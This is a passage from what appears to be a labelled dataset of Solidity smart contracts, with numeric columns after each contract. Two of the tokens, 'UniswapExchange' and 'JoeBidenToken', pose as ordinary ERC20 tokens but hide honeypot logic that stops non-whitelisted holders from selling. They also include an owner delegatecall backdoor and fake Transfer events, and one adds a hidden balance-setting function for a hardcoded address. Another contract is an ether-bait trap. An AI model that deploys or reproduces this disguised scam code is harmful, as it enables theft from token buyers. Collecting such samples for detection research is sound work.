function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,300 |
pragma solidity ^0.4.25;
contract ExRAR {
address Owner;
bool closed = false;
function() public payable {}
function assignOwner() public payable {
if (0==Owner) Owner=msg.sender;
}
function close(bool F) public {
if (msg.sender==Owner) closed=F;
}
function end() public {
if (msg.sender==Owner) selfdestruct(msg.sender);
}
function get() public payable {
if (msg.value>=1 ether && !closed) {
msg.sender.transfer(address(this).balance);
}
}
} | 1 | 5,441 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract JoeBidenToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 160 |
pragma solidity ^0.4.18;
contract FUTMOTO {
uint256 constant MAX_UINT256 = 2**256 - 1;
uint256 MAX_SUBMITTED = 15000000000000000000;
uint256 _totalSupply = 0;
uint256[] levels = [
1000000000000000000,
3000000000000000000,
6000000000000000000,
10000000000000000000,
15000000000000000000
];
uint256[] ratios = [
100,
110,
121,
133,
146
];
uint256 _submitted = 0;
uint256 public tier = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Mined(address indexed _miner, uint _value);
event WaitStarted(uint256 endTime);
event SwapStarted(uint256 endTime);
event MiningStart(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
event MiningExtended(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
string public name = "Futeremoto";
uint8 public decimals = 18;
string public symbol = "FUTMOTO";
bool public swap = false;
bool public wait = false;
bool public extended = false;
uint256 public endTime;
uint256 swapTime;
uint256 swapEndTime;
uint256 endTimeExtended;
uint256 swapTimeExtended;
uint256 swapEndTimeExtended;
uint256 public payRate = 0;
uint256 submittedFeesPaid = 0;
uint256 penalty = 0;
uint256 reservedFees = 0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function () external payable {
require(msg.sender != address(0) &&
tier != 5 &&
swap == false &&
wait == false);
uint256 issued = mint(msg.sender, msg.value);
Mined(msg.sender, issued);
Transfer(this, msg.sender, issued);
}
function FUTMOTO() public {
_start();
}
function _start() internal
{
swap = false;
wait = false;
extended = false;
endTime = now + 5 days;
swapTime = endTime + 1 days;
swapEndTime = swapTime + 1 days;
endTimeExtended = now + 7 days;
swapTimeExtended = endTimeExtended + 5 days;
swapEndTimeExtended = swapTimeExtended + 1 days;
submittedFeesPaid = 0;
_submitted = 0;
reservedFees = 0;
payRate = 0;
tier = 0;
MiningStart(endTime, swapTime, swapEndTime);
}
function restart() public {
require(swap && now >= endTime);
penalty = this.balance * 2000 / 10000;
payFees();
_start();
}
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
function mint(address _to, uint256 _value) internal returns (uint256)
{
uint256 total = _submitted + _value;
if (total > MAX_SUBMITTED)
{
uint256 refund = total - MAX_SUBMITTED - 1;
_value = _value - refund;
_to.transfer(refund);
}
_submitted += _value;
total -= refund;
uint256 tokens = calculateTokens(total, _value);
balances[_to] += tokens;
_totalSupply += tokens;
return tokens;
}
function calculateTokens(uint256 total, uint256 _value) internal returns (uint256)
{
if (tier == 5)
uint256 tokens = 0;
if (total > levels[tier])
{
uint256 remaining = total - levels[tier];
_value -= remaining;
tokens = (_value) * ratios[tier];
tier += 1;
tokens += calculateTokens(total, remaining);
}
else
{
tokens = _value * ratios[tier];
}
return tokens;
}
function currentTier() public view returns (uint256) {
if (tier == 5)
{
return 5;
}
else
{
return tier + 1;
}
}
function leftInTier() public view returns (uint256) {
if (tier == 5) {
return 0;
}
else
{
return levels[tier] - _submitted;
}
}
function submitted() public view returns (uint256) {
return _submitted;
}
function balanceMinusFeesOutstanding() public view returns (uint256) {
return this.balance - (penalty + (_submitted - submittedFeesPaid) * 530 / 10000);
}
function calulateRate() internal {
reservedFees = penalty + (_submitted - submittedFeesPaid) * 530 / 10000;
uint256 tokens = _totalSupply / 1 ether;
payRate = (this.balance - reservedFees);
payRate = payRate / tokens;
}
function _updateState() internal {
if (now >= endTime)
{
if(!swap && !wait)
{
if (extended)
{
wait = true;
endTime = swapTimeExtended;
WaitStarted(endTime);
}
else if (tier == 5)
{
wait = true;
endTime = swapTime;
WaitStarted(endTime);
}
else
{
endTime = endTimeExtended;
extended = true;
MiningExtended(endTime, swapTime, swapEndTime);
}
}
else if (wait)
{
swap = true;
wait = false;
if (extended)
{
endTime = swapEndTimeExtended;
}
else
{
endTime = swapEndTime;
}
SwapStarted(endTime);
}
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
_updateState();
if (_to == address(this))
{
require(swap);
if (payRate == 0)
{
calulateRate();
}
uint256 amount = _value * payRate;
amount /= 1 ether;
balances[msg.sender] -= _value;
_totalSupply -= _value;
Transfer(msg.sender, _to, _value);
msg.sender.transfer(amount);
} else
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
address public foundation = 0xE252765E4A71e3170b2215cf63C16E7553ec26bD;
address public owner = 0xa4cdd9c17d87EcceF6a02AC43F677501cAb05d04;
address public dev = 0x752607dc81e0336ea6ddccced509d8fd28610b54;
function payFees() public {
_updateState();
uint256 fees = penalty + (_submitted - submittedFeesPaid) * 530 / 10000;
submittedFeesPaid = _submitted;
reservedFees = 0;
penalty = 0;
if (fees > 0)
{
foundation.transfer(fees / 2);
owner.transfer(fees / 4);
dev.transfer(fees / 4);
}
}
function changeFoundation (address _receiver) public
{
require(msg.sender == foundation);
foundation = _receiver;
}
function changeOwner (address _receiver) public
{
require(msg.sender == owner);
owner = _receiver;
}
function changeDev (address _receiver) public
{
require(msg.sender == dev);
dev = _receiver;
}
} | 1 | 4,067 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
pragma solidity ^0.5.0;
contract AbstractENS {
function owner(bytes32 _node) public view returns(address);
function resolver(bytes32 _node) public view returns(address);
function ttl(bytes32 _node) public view returns(uint64);
function setOwner(bytes32 _node, address _owner) public;
function setSubnodeOwner(bytes32 _node, bytes32 _label, address _owner) public;
function setResolver(bytes32 _node, address _resolver) public;
function setTTL(bytes32 _node, uint64 _ttl) public;
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
}
pragma solidity ^0.5.0;
contract AbstractResolver {
function supportsInterface(bytes4 _interfaceID) public view returns (bool);
function addr(bytes32 _node) public view returns (address ret);
function setAddr(bytes32 _node, address _addr) public;
function hash(bytes32 _node) public view returns (bytes32 ret);
function setHash(bytes32 _node, bytes32 _hash) public;
}
pragma solidity ^0.5.0;
contract SingletonHash {
event HashConsumed(bytes32 indexed hash);
mapping(bytes32 => bool) public isHashConsumed;
function singletonHash(bytes32 _hash) internal {
require(!isHashConsumed[_hash]);
isHashConsumed[_hash] = true;
emit HashConsumed(_hash);
}
}
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract SignerRole {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(msg.sender);
}
modifier onlySigner() {
require(isSigner(msg.sender));
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(msg.sender);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.0;
contract SignatureBouncer is SignerRole {
using ECDSA for bytes32;
uint256 private constant _METHOD_ID_SIZE = 4;
uint256 private constant _SIGNATURE_SIZE = 96;
constructor () internal {
}
modifier onlyValidSignature(bytes memory signature) {
require(_isValidSignature(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndMethod(bytes memory signature) {
require(_isValidSignatureAndMethod(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndData(bytes memory signature) {
require(_isValidSignatureAndData(msg.sender, signature));
_;
}
function _isValidSignature(address account, bytes memory signature) internal view returns (bool) {
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account)), signature);
}
function _isValidSignatureAndMethod(address account, bytes memory signature) internal view returns (bool) {
bytes memory data = new bytes(_METHOD_ID_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidSignatureAndData(address account, bytes memory signature) internal view returns (bool) {
require(msg.data.length > _SIGNATURE_SIZE);
bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidDataHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
address signer = hash.toEthSignedMessageHash().recover(signature);
return signer != address(0) && isSigner(signer);
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
